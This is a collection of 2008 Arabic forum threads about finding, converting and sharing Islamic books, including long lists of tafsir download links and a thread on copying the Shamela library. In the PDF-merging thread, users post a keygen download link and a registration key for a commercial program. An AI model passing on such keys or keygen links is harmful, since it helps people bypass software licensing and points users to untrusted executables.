التسميات: كتاب الدليل ( http://tamammennah.blogspot.com/search/label/%D9%83%D8%AA%D8%A7%D8%A8%20%D8%A7%D9%84%D8%AF%D9%8 4%D9%8A%D9%84)
الاثنين، نوفمبر 03، 2008
توضيح بشأن كتاب (الدليل إلى تعليم كتاب الله الجليل) ( http://tamammennah.blogspot.com/2008/11/blog-post_03.html)
بسم الله الرحمن الرحيم
الحمد لله، وأطيب الصلاة والسلام على نبينا خاتم رسل الله
إلى مَن يهمّه الأمر
نودّ أن ننبّه الكِرام قُرّاءَ كتابِنا (الدليل .... )، ومَن ينوي قراءتَه – سيما وأننا وجدناه مؤخرًا قد أُنزل مُصوّرًا كاملاً في الشبكة في عدة مواقع - إلى أننا بصدد إجراء العديد مِن التعديلات المهمة عليه، وسيعاد طبع الكتاب بناءً عليه إن شاء الله تعالى، والحمد لله ذي المنة، نسأله الهدى والسداد
آمين ..
كتبته المؤلفتان:
حسانة وسكينة ابنتا محمد ناصر الدين بن نوح الألباني رحمهم الله
المصدر ( http://tamammennah.blogspot.com/search/label/%D9%83%D8%AA%D8%A7%D8%A8%20%D8%A7%D9%84%D8%AF%D9%8 4%D9%8A%D9%84)(61/250)
كتاب نادر كيف ارفعه؟
ـ[ابو هيلة]ــــــــ[16 - 09 - 08, 04:22 ص]ـ
السلام عليكم
الكتاب كل صفحة بي دي اف لوحدها , والرفع هنا سيكون للصفحة الواحدة فقط.
كيف اجمع الصفحات في ملف واحد بي دي اف.
أرجو ان تكون الطريقة مسهلة جدا لأن اخوكم عليمي كمبيوتر وإلا سوف اشغلكم بالقص واللزق هنا.
ـ[احمدعاطف]ــــــــ[16 - 09 - 08, 04:56 ص]ـ
قم بتجميع ملفات الكتاب فى ملف واحد وقم بضغطه وأرفعه لنا ونتكفل بالباقى
ـ[ابو عبد المحسن]ــــــــ[16 - 09 - 08, 06:12 م]ـ
أجمعها وأضغطها ببرنامج وين رار ثم أرفعها ...
ـ[إسماعيل سعد]ــــــــ[16 - 09 - 08, 07:13 م]ـ
هناك برامج لدمج الصفحات pdf وجمعها في كتاب أنا شخصيا أستعمل برنامج اسمه: Image To PDF وهو ممتاز في هذا الأمر، ممكن تبحث عنه على النت بنفس الاسم المذكور.
وليتك تذكر لنا مؤقتا عنوان كتابك النادر، وفقكم الله.
ـ[احمدعاطف]ــــــــ[16 - 09 - 08, 08:33 م]ـ
هناك برامج لدمج الصفحات pdf وجمعها في كتاب أنا شخصيا أستعمل برنامج اسمه: Image To PDF وهو ممتاز في هذا الأمر، ممكن تبحث عنه على النت بنفس الاسم المذكور.
وليتك تذكر لنا مؤقتا عنوان كتابك النادر، وفقكم الله.
البرنامج جميل ولكن إذا كنت لا تعرف إستخدامه فقم برفع الملفات مضغوطه لنا ونحن سنتكفل بالباقى ونشرح لك طريقه التجميع.
ـ[يحيى صالح]ــــــــ[16 - 09 - 08, 08:43 م]ـ
هذا هو رابط البرنامج:
http://www.adultpdf.com/products/image2pdf/imagetopdf.exe
و هذا رابط الكيجن:
http://rapidshare.de/files/6271417/26014.rar.html
ـ[احمدعاطف]ــــــــ[16 - 09 - 08, 08:55 م]ـ
لتحويل صور JPG الى PDF
أسم البرنامج:
eSan photo2PDF 1.0
موقع الشركة:
http://www.esansoft.com/
الوصف:
برنامج سهل الاستخدام ومتخصص بتحويل الصور بامتداد JPG إلى ملفات PDF وبحجوم أصغر من الصور.
بإمكان تجميع العديد من الصور في ملف PDF واحد.
رابط التحميل:
http://www.esansoft.com/download/photo2pdf_setup.exe
معلومات التسجيل:
Name: eXpert
Key: 6AE6-3CC2-6B06-3376-B61B-FA7A-A22F
طريقة استخدامه:
شغل البرنامج وأضغط على الزر Add Files وأختر الصورة المطلوبة،
أضف صورأخرى بنفس الزر،
ثم أضغط على الزر! Build لتنفيذ أمر التحويل.(61/251)
حمّل: الدولة العثمانية دولة اسلامية مفترى عليها
ـ[أبو سليمان العسيلي]ــــــــ[16 - 09 - 08, 04:22 ص]ـ
السلام عليكم ورحمة الله وبركاته
اخوتي: بعد عناء و تعب في البحثو التدقيق على الشبكة وصلت الى الكتاب الرائع المعروف بـ
الدولة العثمانية دولة اسلامية مفترى عليها
للدكتور عبد العزيز الشناوي
ولكن للأسف استطعت الحصول على الجزء الأول فقط وبإنتظار الجزء الثاني و الثالث و الرابع:
ftp://ia331324.us.archive.org/0/items/aldwlh-alathmaneh-dwlh-as-1-ar/aldwlh-alathmaneh-dwlh-as-1-ar_PTIFF.zip
وللعلم الرابط لمكتبة الإسكندرية وبحجم 17 mb وبشكل صور وبإمتداد. tif أي بحاجة لبرنامج
لتحويلها الى pdf وقد فعلت و سأقوم قريباً برفعه اليكم محولاً جاهزاً.
ـ[صخر]ــــــــ[16 - 09 - 08, 04:56 ص]ـ
بارك الله فيك ...
http://www.ahlalhdeeth.com/vb/showthread.php?t=90448
ـ[ Aboibrahim] ــــــــ[08 - 08 - 09, 08:11 م]ـ
يا أخي الرابط تالف، نرجوا إعادة رفع الكتاب على رابط جديد بارك الله فيك، لقد أعياني البحث عن هذا الكتاب ...(61/252)
صفحة انترنت ب 586 كتاب من مكتبة الاسكندريه ... غير محولين ل pdf
ـ[باسم الشافعي]ــــــــ[16 - 09 - 08, 08:32 ص]ـ
بسم الله الرحمن الرحيم
الاخوة الافاضل منذ فترة ليست بالوجيزة يسر الله ان وجدت هذه الصفحة مصادفة
وبها 17500
والمتبقى 586
وهي تماثل صفحه كان قد وفرها الاخوه هنا منذ زمن لكنها بها كتب اكثر
نرجوا ان نكون قد افدنا اهل الاختصاص .. المهتمين بالتحويل
الصفحة في المرفقات
نسألكم الدعاء
ـ[باسم الشافعي]ــــــــ[16 - 09 - 08, 08:36 ص]ـ
عذراً .... عنوان الموضوع به العدد المتبقى وليس الموجود ... ارجو التعديل(61/253)
طلب كتابين
ـ[يحيى بن ابراهيم]ــــــــ[16 - 09 - 08, 01:05 م]ـ
السلام عليكم ورحمة الله وبركاته
أريد ممن لديه كتاب حلية الأولياء لأبي نعيم والسنن الكبرى للبيهقي أحدهما او كلاهما مشكولا شكلا كاملا، وأرجو أن لا يحيلني الأخ إلى الموسوعة الشاملة فتلك تحتاج برنامج وتنزيل ووقت طويل، ولا أدري مدى دقتها. وأفضل نشخة على الشبكة هي التي في موقع جامع الحديث وهو يحتوي على نصوص مضبوطة، ولكن كل حديث أو رواية توجد في صفحة واجدة! ما الحل في الحصول على نصوص كبيرة وكاملة للكتب بسهولة؟ http://www.sonnaonline.com (http://www.sonnaonline.com)
وجزاكم الله خيرا(61/254)
رابط كتب
ـ[إبراهيم أمين]ــــــــ[16 - 09 - 08, 01:06 م]ـ
السلام عليكم، كل عام وأنتم بخير
الموقع التالي عليه مجموعة كبيرة من الكتب في مجالات متنوعة
أسأل الله أن تجدوا فيها نفعا
وغفر الله لي ولكم
http://maktaba.fr.gd/
وراجعوا هذا أيضا
http://douis.free.fr/bibiotheque-virtuelle.htm(61/255)
تهذيب الآثار - مسند علي بن أبي طالب للشاملة موافق للمطبوع
ـ[مصطفى الشقيري]ــــــــ[16 - 09 - 08, 01:06 م]ـ
السلام عليكم ورحمة الله وبركاته
تقبل الله منكم الصيام والقيام وقراءة القرءان
ها هو كتاب تهذيب الآثار - مسند علي بن أبي طالب - للشاملة موافق للمطبوع
وبياناته كالتالي:
الكتاب: تهذيب الآثار وتفصيل الثابت عن رسول الله صلى الله عليه وسلم من الأخبار
المؤلف: أبو جعفر محمد بن جرير بن يزيد الطبري
224 - 310هـ
تحقيق: محمود محمد شاكر
الناشر: مكتبة الخانجي - القاهرة
المطبعة: مطبعة المدني - 68 شارع العباسية - القاهرة
مسند علي بن أبي طالب
عدد الأجزاء: 1
مصدر الكتاب: موقع جامع الحديث
http://www.alsunnah.com
أعده للشاملة: مصطفى الشقيري
لا تنسنا من صالح دعائك,,,,,,,,,,,,
______________
علما بأنه بدون المقدمة
والسلام عليكم ورحمة الله وبركاته
ـ[مصطفى الشقيري]ــــــــ[16 - 09 - 08, 01:15 م]ـ
مرفق صورة الكتاب الأصلي الذي وافقت الكتاب عليه ومعه المقدمة
ـ[مصطفى الشقيري]ــــــــ[01 - 10 - 08, 03:40 م]ـ
للرفع
تقبل الله منا ومنكم
ـ[بن سالم]ــــــــ[01 - 10 - 08, 06:20 م]ـ
... جزاكَ اللهُ خيراً .. ونفعَ بكَ.
ـ[علي الفضلي]ــــــــ[02 - 10 - 08, 02:15 م]ـ
جزاك الله خيرا أخي مصطفى.
ولكن هل أنتم من نفس عائلة الشقيري صاحب (السنن والمبتدعات)؟
ـ[يونس1]ــــــــ[02 - 10 - 08, 03:03 م]ـ
أخي الكريم مصطفى تحية طيبة وبعد:
1 - أولا اسم الموقع الذي سحبت منه الكتاب وهو: مصدر الكتاب: موقع جامع الحديث
http://www.alsunnah.com غير صحيح، وربما يكون كما يلي: http://www.sonnaonline.com
وقد كنت اثرت هذه النقطة في الرابط التالي وجاء الجواب من نافع الشاملة كما قلت، وهاك الرابط:
http://www.ahlalhdeeth.com/vb/showthread.php?
t=148479 .
2- أصبحت الشاملة تطغى على pdf بلا ريب، فحبذا لو أكملت جهدك بوضع فهارس الكتاب والمقدمة للشاملة أيضا بدلا من pdf ؛ ونحو منتظرون ذلك. برابط جديد بعد التعديل.
رعاك الله وسدد خطاك.
ـ[يونس1]ــــــــ[02 - 10 - 08, 03:04 م]ـ
الرابط مرة أخرى:
http://www.ahlalhdeeth.com/vb/showthread.php?t=148479
ـ[مصطفى الشقيري]ــــــــ[07 - 10 - 08, 04:19 م]ـ
جزاك الله خيرا أخي مصطفى.
وجزاك
ولكن هل أنتم من نفس عائلة الشقيري صاحب (السنن والمبتدعات)؟
لا
فنسبتي إلى شقير والتي هي موقع على ساحل البحر الأحمر
بينما نسبة الشيخ محمد بن عبد السلام فيما علمت أنها ترجع إلى عائلة شقير المشهورة بالبدرشين
والسلام عليكم ورحمة الله وبركاته
ـ[أحمد محمد بسيوني]ــــــــ[01 - 11 - 08, 09:19 ص]ـ
رفع الله قدرك
وفي انتظار المقدمة والفهارس
لا حرمني الله وإياك الفردوس الأعلى
ـ[عيسى بنتفريت]ــــــــ[01 - 11 - 08, 11:09 ص]ـ
جزاكم الله خيرا على هذا الكتاب القيم.
ـ[أبو زيد الخير]ــــــــ[03 - 11 - 08, 10:02 م]ـ
جزاكَ اللهُ خيراً .. ونفعَ بكَ.(61/256)
رسائل دكتوراه في الاقتصاد
ـ[إبراهيم أمين]ــــــــ[16 - 09 - 08, 01:08 م]ـ
تفضلوا
http://www.djelfa.info/vb/showthread.php?t=34724
غفر الله لي ولكم
ـ[إبراهيم حسين]ــــــــ[16 - 09 - 08, 07:34 م]ـ
جزاك الله خيرا
ـ[أبو مازن العوضي]ــــــــ[17 - 09 - 08, 01:15 ص]ـ
السلام عليكم ورحمة الله وبركاته، أخونا إبراهيم أمين جميع الرسائل على موقع سند سبيس وهو محجوب لدينا، لو تكرمت أو غيرك تكرم برفعها على موقع آخر كالآرشيف مثلا وشكرا(61/257)
روابط كتب التفسير
ـ[إبراهيم أمين]ــــــــ[16 - 09 - 08, 01:21 م]ـ
(منقول) تفضلوا .. غفر الله لي ولكم
التفسير القيم لابن القيم
http://www.4shared.com/file/54893022/c29be45e/
تفسير أبو بكر جابر الجزائري
http://www.4shared.com/file/54897541/846147de/
تفسير أبي السعود
http://www.4shared.com/file/54898570/802834dd/
تفسير ابن أبي حاتم
http://www.4shared.com/file/54893021/5b92b5e4/
تفسير ابن أبي ومنين
http://www.4shared.com/file/54893020/2c958572/
تفسير ابن القيّم
http://www.4shared.com/file/54893023/b59cd4c8/
تفسير ابن زمنين
http://www.4shared.com/file/54893636/d8606db4/
تفسير ابن عرفة المالكي
http://www.4shared.com/file/54893633/a80a993b/
تفسير ابن كثير
http://www.4shared.com/file/54893631/4604f817/
تفسير البحر المحيط
http://www.4shared.com/file/54900008/c48171f8/
تفسير البحر المديد لابن عجيبة
http://www.4shared.com/file/54901491/d32abdac/
تفسير التحرير و التنوير للطاهر بن عاشور
http://www.4shared.com/file/54902079/56ce1f22/
تفسير التسهيل لابن جزي
http://www.4shared.com/file/54902230/48fab6ec/
تفسير الثعالبي
http://www.4shared.com/file/54902409/1e862139/
تفسير الخازن لأبي الحسن علي بم محمد
http://www.4shared.com/file/54902701/121b1752/
تفسير الدر المكنون في علم الكتاب المصون للسمين الحلبي
http://www.4shared.com/file/54903144/ba2c3d0e/
تفسير السراج المنير للخطيب الش
http://www.4shared.com/file/54903835/8dbba0d0/
تفسير السمرقندي
http://www.4shared.com/file/54905131/a06c009a/
تفسير السمعاني
http://www.4shared.com/file/54905767/30f52d58/
تفسير العز بن عبد السلام جمعا ودراسة
http://www.4shared.com/file/54906897/ae84d944/
تفسير الفخر الرازي
http://www.4shared.com/file/54906895/408ab868/
تفسير القرطبي
http://www.4shared.com/file/54907947/a254aa5b/
تفسير الكريم الرحمان لناصر السعدي
http://www.4shared.com/file/54908806/e89e25a8/
تفسير الكشاف للزمخشري
http://www.4shared.com/file/54908805/71977412/
تفسير الكشف و البيان للثعلبي
http://www.4shared.com/file/54908804/6904484/
تفسير اللباب في علوم الكتاب لابن عادل
http://www.4shared.com/file/54913331/bbe3a298/
تفسير اللطيف المنان لعبد الرحمان بن ناصر السعدي
http://www.4shared.com/file/54914666/c3ec392c/
تفسير المحرر الوجيز لابن عطية
http://www.4shared.com/file/54914868/2eca3921
تفسير المنتخب في تفسير القرآن الكريم
http://www.4shared.com/file/54915034/eca4b792/
تفسير الميسر الكتروني
http://www.4shared.com/file/54915232/643c6c9/
تفسير النسفي
http://www.4shared.com/file/54915851/c487b523/
تفسير النكت و العيون للماوردي
http://www.4shared.com/file/54915985/77866540/
تفسير النيسابوري غرائب القرآن ورغائب الفرقان
http://www.4shared.com/file/54916289/60d06964/
تفسير الوجيز في تفسير الكتاب العزيز للواحدي
http://www.4shared.com/file/54916388/161533c5/
تفسير بحر العلوم للسرمقندي
http://www.4shared.com/file/55019931/58b19d56/
تفسير روح المعاني للألوسي
http://www.4shared.com/file/55019927/a8c90922/
تفسير زاد المسير
http://www.4shared.com/file/55020308/3d7fc6bd/
تفسير سفيان الثوري
http://www.4shared.com/file/55020927/92613c78/
تفسير عبد الرزاق الصنعاني
http://www.4shared.com/file/55020926/e5660cee/
تفسير غرائب القرأن و رغائب الفرقان للنيسابوري
http://www.4shared.com/file/55020925/7c6f5d54/
تفسير في ظلال القرآن لسيد قطب
http://www.4shared.com/file/55021386/aaa206d7/
تفسير مجاهد بن جبر المكي
http://www.4shared.com/file/55021685/35609586/
تفسير معالم التنزيل للبغوي
http://www.4shared.com/file/55021681/320d519f/
تفسير مفاتيح الغيب للفخر الرازي
http://www.4shared.com/file/55022147/602102cd/
تفسير مقاتل بن سليمان
http://www.4shared.com/file/55022531/c10a99e3/
تفسير من سنن سعيد بن منصور
http://www.4shared.com/file/55022530/b60da975/
تفسير نظم الدرر للبقاعي
http://www.4shared.com/file/55022941/8751f640/
تيسير اللطيف المنان في خلاصة تفسير القرأن للسعدي
http://www.4shared.com/file/55023124/17ce9394/
جامع لطائف التفاسير1
http://www.4shared.com/file/55023121/67a4671b/
مختصر تفسير البغوي المسمى بمعالم التنزيل
http://www.4shared.com/file/55023286/169a46b
ـ[الطيماوي]ــــــــ[16 - 09 - 08, 06:40 م]ـ
هل هي مصورة أم وورد أم ماذا(61/258)
أريد كشف الستر عن أحكام زكاة الفطر
ـ[أبي الأنوار]ــــــــ[16 - 09 - 08, 07:07 م]ـ
هل من كريم يرفع لي رسالة الشيخ عبد الله بن يوسف الجديع المسماة بـ " كشف الستر عن أحكام زكاة الفطر." بارك الله فيكم
ـ[ابن عبدالباقى السلفى]ــــــــ[15 - 02 - 09, 12:13 ص]ـ
...........................(61/259)
المكتبة الشاملة وربطها بالكتب المصورة بحجم وصل إلى 150 قيقا
ـ[مشرف الشهري]ــــــــ[17 - 09 - 08, 02:24 ص]ـ
بجهود الإخوة جزاهم الله خيرا أستطاعوا أن يربطوا كتب الشاملة بالكتاب الأصل المصور ( pdf) برابط تنقره فيفتح لك الكتاب المصور للمقارنة والتوثيق
وصل عدد الكتب المصورة المضافة أكثر من 8500 كتاب
وهي عندي لمن أراد نسخها
بشرط ... (ابتسامة)
ـ[كاسيمان]ــــــــ[17 - 09 - 08, 02:37 ص]ـ
وما هو الشرط؟
أخوكم: إندونيسي
ـ[أبوسلمة السلفي]ــــــــ[17 - 09 - 08, 05:14 ص]ـ
بشرط ... (ابتسامة)
(ابتسامة)
ـ[أبو عبد الرحمن الطاهر]ــــــــ[17 - 09 - 08, 05:19 ص]ـ
نحن نريدها بارك الله فيك
ـ[أبو عبد الرحمن السبيلي]ــــــــ[17 - 09 - 08, 05:58 ص]ـ
بجهود الإخوة جزاهم الله خيرا أستطاعوا أن يربطوا كتب الشاملة بالكتاب الأصل المصور ( pdf) برابط تنقره فيفتح لك الكتاب المصور للمقارنة والتوثيق
وصل عدد الكتب المصورة المضافة أكثر من 8500 كتاب
وهي عندي لمن أراد نسخها
بشرط ... (ابتسامة)
أي شرط؟
ـ[أحمد أبو عبدالله]ــــــــ[17 - 09 - 08, 06:15 ص]ـ
حياك وبنتظارك
كيف نحصل عليها
ـ[سلوم السلوم]ــــــــ[17 - 09 - 08, 07:41 ص]ـ
إن كنت من سكان "الرياض"
فأنا موافق على شرطك
فالاتصال عندي بطيئ جدًا
ـ[ابوالوليد الطاهري]ــــــــ[17 - 09 - 08, 08:09 ص]ـ
اريدها اخي الكريم
ولا تحرمنا منها
ـ[أبو أنس السندي]ــــــــ[17 - 09 - 08, 08:23 ص]ـ
أريدها أيها الكريم (ابتسامة)
ـ[مشرف الشهري]ــــــــ[17 - 09 - 08, 08:52 ص]ـ
الشرط سهل يا أخوتاه دعوة بظهر الغيب أن يغفر لجميع من قام بهذا العمل الكبير في هذه الليالي الفاضلة
وأن يحضر الهارد وعليه ما لديه من مواد علمية (كتب مصورة أو مخطوطات أو دروس علمية صوتية) فقط
أرأيتم كيف سهولة الشرط
والغرض أيها الأحباب أن لا يبقى العلم حكرا لدى فئة قليلة، نريد نشره على أوسع نطاق
كما نبشر الإخوة الكرام بأن المخطوطات زادت لتصل إلى الـ200 قيقا بفضل الله
ـ[ابو عبد المحسن]ــــــــ[17 - 09 - 08, 11:48 ص]ـ
السلام عليكم ورحمة الله وبركاته ...
لله درك أخي مشرف لقد أتعبت من بعد ...
جزاك الله خيراً وجميع القائمين على هذه المشاريع الجبارة ...
ـ[الفاضل]ــــــــ[17 - 09 - 08, 01:21 م]ـ
بارك الله فيكم ونفع بكم
هل تعني بـ 8500 مصور أنه يقابلها 8500 كتاب في الشاملة؟
وهل يمكن تحميلها على الشبكة؟
وأنا أتكفل برقعها على موقع جيد.
ـ[أحمد أبو عبدالله]ــــــــ[17 - 09 - 08, 05:29 م]ـ
الشرط سهل يا أخوتاه دعوة بظهر الغيب أن يغفر لجميع من قام بهذا العمل الكبير في هذه الليالي الفاضلة
وأن يحضر الهارد وعليه ما لديه من مواد علمية (كتب مصورة أو مخطوطات أو دروس علمية صوتية) فقط
أرأيتم كيف سهولة الشرط
والغرض أيها الأحباب أن لا يبقى العلم حكرا لدى فئة قليلة، نريد نشره على أوسع نطاق
كما نبشر الإخوة الكرام بأن المخطوطات زادت لتصل إلى الـ200 قيقا بفضل الله
لم افهم وعليه الخ ..................... حيث انني سبق استلمت منكم وفقكم الله الثلاث هاردسكات
التي اعلنت عنها سابقا فكيف ذلك وكيف احصل على هذه
ـ[مشرف الشهري]ــــــــ[17 - 09 - 08, 07:45 م]ـ
مرحبا أخي أحمد
مادام حصلت على الموسوعات الثلاث فالحمد الله تكفيك يا طماع (ابتسامة)
والغرض بارك الله فيك جلب ما لدى الإخوة من كنوز علمية لا تخرج إلا بمثل هذه العروض المغرية
وإلا في النهاية سننسخه للجميع
ـ[مشرف الشهري]ــــــــ[17 - 09 - 08, 07:58 م]ـ
بارك الله فيكم ونفع بكم
هل تعني بـ 8500 مصور أنه يقابلها 8500 كتاب في الشاملة؟
وهل يمكن تحميلها على الشبكة؟
وأنا أتكفل برقعها على موقع جيد.
عدد الكتب المصورة أكثر أما عدد كتب الشاملة فـ (6256) كتاب
ـ[أبو مهند المصري]ــــــــ[17 - 09 - 08, 09:07 م]ـ
كيف ننسخها في مصر؟
ـ[مشرف الشهري]ــــــــ[17 - 09 - 08, 09:12 م]ـ
كيف ننسخها في مصر؟
راسلني أبا مهند على الخاص وما يكون خاطرك إلا طيب:)
ـ[أحمد أبو عبدالله]ــــــــ[17 - 09 - 08, 10:41 م]ـ
والله منك وطيب محياك نطمع بالمزيد يالي منت طماع (ابتسامة) لك خاصه
وفكرتك اكثر من رائعه
اذا حصلت شي جديد لاتخلي اخوك ارسل على الخاص اي شي جديد
لاهنت
ـ[عمر القاضي]ــــــــ[17 - 09 - 08, 11:09 م]ـ
لو ربطت بالشاملة التي تحتوي على6688 كتاباً لكان أولى
ـ[خليل إبراهيم]ــــــــ[18 - 09 - 08, 12:57 ص]ـ
بارك الله فيكم وجعل أعمالكم في ميزان حسناتكم
حبذا لو نالنا من الحب جانب (ابتسامة).
فكيف لي أن أحصل عليها وأنا في أقصى الكرة من أمريكا؟
أتمنى أن نحظى بها.
وارى تنزيلها على مواقع أيسر للمسلمين في كل مكان.
ـ[مشرف الشهري]ــــــــ[18 - 09 - 08, 01:01 ص]ـ
لعل الله ييسرأن نرفعها على إحدى الموقع ولكن حجمها الكبير أكبر عائق والاتصال البطيء لا يشجع
(يُتْبَع .. اقلب الصفحة)
(61/260)
ـ[أبو أنس السندي]ــــــــ[18 - 09 - 08, 01:32 ص]ـ
لعل الله ييسرأن نرفعها على إحدى الموقع ولكن حجمها الكبير أكبر عائق والاتصال البطيء لا يشجع
التورنت ممكن يحل هذه المشكلة
كيف أحصل عليها وأنا في الكويت وسألتزم بالشروط إن شاء الله (ابتسامة طماع)
ـ[احمدعاطف]ــــــــ[18 - 09 - 08, 05:30 ص]ـ
شكرا لك أخى مشرف وسنعمل على الأتيان بها فى مصر هنا بالمنصورة لكل من أرادها إذا بادرت بالمساعدة.
ـ[مشرف الشهري]ــــــــ[18 - 09 - 08, 05:55 ص]ـ
شكرا لك أخى مشرف وسنعمل على الأتيان بها فى مصر هنا بالمنصورة لكل من أرادها إذا بادرت بالمساعدة.
راسلني على الخاص ولعل الله ييسر الأمر
ـ[محمد الخامس باغوش]ــــــــ[18 - 09 - 08, 11:01 ص]ـ
أخي الفاضل أعيش في الكويت فكيف لي الحصول عليها كي تعم بها الفائدة لي ولإخواني هنا؟ وجزاكم الله عنا خيرا.
ـ[مشرف الشهري]ــــــــ[18 - 09 - 08, 12:37 م]ـ
اخوتي الكرام
المكتبة حاليا في مصر ولعلنا نوصل نسخة إلى السعودية بعد رمضان لتنطلق من هناك إلى بقية الدول الأخرى
ـ[أبو مهند المصري]ــــــــ[18 - 09 - 08, 04:40 م]ـ
اخوتي الكرام
المكتبة حاليا في مصر ولعلنا نوصل نسخة إلى السعودية بعد رمضان لتنطلق من هناك إلى بقية الدول الأخرى
مرحبا بكم في مصر أبا محمد، وطبتم وطاب مساعيكم، وأسأل الله أن يجعلها في ميزان حسناتكم، وأن يبارك لكم في أولادكم.
ـ[عبد الصمد الهولندي]ــــــــ[18 - 09 - 08, 04:55 م]ـ
نحن طلبة الجامعة الإسلامية بالمدينة بحاجة ماسة إلى مثل هذا. فهل من سبيل لتوصيله إلينا؟ أجزل الله لكم المثوبة.
ـ[أبو مهند المصري]ــــــــ[18 - 09 - 08, 04:57 م]ـ
لقد أخبرني أحد الإخوة أن الموضوع تم تحت رعاية وإشراف الشيخ سعد الحميد ـ حفظه الله ـ.
وفق الله جميع القائمين على مثل تلك المشروعات القيمة.
ـ[عمر محمد توفيق]ــــــــ[19 - 09 - 08, 01:18 ص]ـ
جزاكم الله خيرا
ـ[عمر محمد توفيق]ــــــــ[19 - 09 - 08, 01:18 ص]ـ
من سوهاج وارغب في الحصول على نسخة كيف السبيل
ـ[مشرف الشهري]ــــــــ[19 - 09 - 08, 01:43 ص]ـ
الآخ أبو مهند المصري
أرجو أن تتولى النسخ للإخوة الكرام من مصر الحبيبة وتجمع ما لديهم من خير
ـ[أبو مهند المصري]ــــــــ[19 - 09 - 08, 02:00 ص]ـ
الإخوة الكرام من مصر:
لقد اتصلت بالأخ الذي عنده المكتبة الشاملة المصورة بعد فجر الخميس، وقال أنه يفضل أن ننسخها منه بعد العيد؛ لأننا سندخل الاعتكاف مغرب السبت ـ إن شاء الله، والنسخ سيطول، خاصة أن الأخ من منية سمنود، ولقد أعطاني رقمه الوالد مشرف الشهري ـ وفقه الله ـ، وبعد نسخها منه من الممكن إيداع نسخة منها في مدينة المنصورة نفسها ـ ولستُ منها تحديدا ـ ليسهل نسخها لأي أحد بعد ذلك، ومن ينسخها من كل محافظة يتولى مهمة نسخها لإخوانه في محافظته، ولكن إلى الآن الموسوعة ليست عندي، بل إني حتى الآن لم أدبر المساحة الكافية لنسخها عليه.
والله المستعان.
فصبر جميل.
ـ[احمدعاطف]ــــــــ[20 - 09 - 08, 04:29 م]ـ
شكرا لك أخى محمود سنعمل على الإتيان بها وستكون بإذن الله متاحه لكل من أرادها فى المنصورة ولكن بشرط أن يشترط عليه أن يقوم بنسخها لما اراد ... بعد العيد المبارك ستكون متاحة ولكن لابد من وجود هارد كبير مع كل من أرادها.
ـ[احمدعاطف]ــــــــ[20 - 09 - 08, 05:11 م]ـ
أبا مهند شكرا لك على تكفلك بهذا الأمر وبإذن الله كما قلت بعد العيد ستكون لدينا ونقوم بسخها لم أرادها ولكن بشرط ...
ـ[أبو أنس السندي]ــــــــ[02 - 10 - 08, 07:28 ص]ـ
أين أنتم أيها الكرام؟
نريد المكتبة وسألتزم بالشروط وسأقوم بإذن على نشرها بما ييسره الله.
ـ[علي الفضلي]ــــــــ[02 - 10 - 08, 07:57 ص]ـ
أين أنتم أيها الكرام؟
نريد المكتبة وسألتزم بالشروط وسأقوم بإذن على نشرها بما ييسره الله.
وأنا أشهد لأخينا أبي أنس بأنه نشاّر بل منشار بل نشور للخير - حفظه الله تعالى - فكم نالني من نشره للشاملات السابقات.
فلعل الأخ الشهري يرسلها إلى الكويت مشكورا، ولا أظنه يضن على نفسه بالخير.
ولكن:
هل المصورات أضيفت إلى الشاملة؟
ـ[أبو أنس السندي]ــــــــ[04 - 10 - 08, 03:22 م]ـ
وأنا أشهد لأخينا أبي أنس بأنه نشاّر بل منشار بل نشور للخير - حفظه الله تعالى - فكم نالني من نشره للشاملات السابقات.
فلعل الأخ الشهري يرسلها إلى الكويت مشكورا، ولا أظنه يضن على نفسه بالخير.
ولكن:
هل المصورات أضيفت إلى الشاملة؟
حقيقة هذا وسام شرف لي فجزاك الله خيرا أخي الحبيب علي
والحمد لله أن الشاملة وصلت لمشايخ ودكاترة وطلاب علم ومراكز حكومية وغيرها بواسطتي إما مباشرة أو عن طريق بعض الإخوة
ـ[مشرف الشهري]ــــــــ[04 - 10 - 08, 03:35 م]ـ
اخي أبا أنس توصل مع الإخوة في الكويت المسؤلين عن توزيع الموسوعة تجد رقم الاخ سعود في قسم الطلبات هنا
http://www.m1500.com/vb/forumdisplay.php?f=5
(يُتْبَع .. اقلب الصفحة)
(61/261)
ـ[عبد الله الحمراني]ــــــــ[04 - 10 - 08, 09:10 م]ـ
السلام عليكم ورحمة الله وبركاته
الإخوة الأفاضل
جزاكم الله خيرا
وأسألكم أن تدعو بظهر الغيب لمن قام بربط هذا الكم الكبير من الكتب بالشاملة
ـ[عبد الله الحمراني]ــــــــ[04 - 10 - 08, 09:26 م]ـ
سأضيف رابط مهم يبين كيفية الربط لمن أراد أن يربط كتبا بعينها ويتعلم كيفية الربط من باب التعاون على البر
http://majles.alukah.net/showthread.php?p=133293#post133293
ـ[مشرف الشهري]ــــــــ[04 - 10 - 08, 10:11 م]ـ
جزاك الله خيرا أخي ابا الوضاح وكل من ساهم في هذا العمل الكبير
ـ[الباحث]ــــــــ[10 - 10 - 08, 12:33 م]ـ
نحن في الكويت لا نريد المكتبة الشاملة (المربوطة بالكتب المصورة) فقط بل نريد معها المخطوطات البالغ حجمه (200 جيجا)، وأنا متواصل مع الأخ الفاضل / أبو أنس السندي.
ـ[عبد الصمد الهولندي]ــــــــ[10 - 10 - 08, 12:51 م]ـ
اخوتي الكرام
المكتبة حاليا في مصر ولعلنا نوصل نسخة إلى السعودية بعد رمضان لتنطلق من هناك إلى بقية الدول الأخرى
هل هي فعلا وصلت إلى السعودية؟ وإن نعم من أين نحصل على نسخة في المدينة النبوية؟ بارك الله فيكم.
ـ[مشرف الشهري]ــــــــ[10 - 10 - 08, 02:57 م]ـ
نعم وصلت السعودية
للتواصل مع الآخ عادل تجد جواله في قسم الطلبات انقر على الرابط الموجود في التوقيع
ـ[ابوالوليد الطاهري]ــــــــ[10 - 10 - 08, 11:45 م]ـ
الفاضل الطيماوي
الفاضل الشهري
الافاضل الاخوة المشاركين معهما في هذا العمل الجليل
اسال الله سبحانه وتعالى ان يغفر لكم ويرفع درجاتكم في الجنة وان يكتب لكم سعادة الدارين
ولو املك شيئا غير الدعاء وافضل منه لبادرت اليه
وباذن الله تعالى ساكون على اتصال بالشيخ نافع
وجزاكم الله خيرا
ـ[الباحث]ــــــــ[11 - 10 - 08, 02:30 م]ـ
أخانا الفاضل مشرف الشهري حفظه الله، عندي سؤال بارك الله فيك بخصوص المكتبة الشاملة المربوطة بالكتب المصورة:
لا شك أن هذه المكتبة ستكون على هاردسك خارجي، وتشغيلها سيكون من هذا الهاردسك، فكيف يمكن ربط مسارات الكتب المصورة مع الكمبيوتر؟
سأسهل السؤال أكثر فأقول:
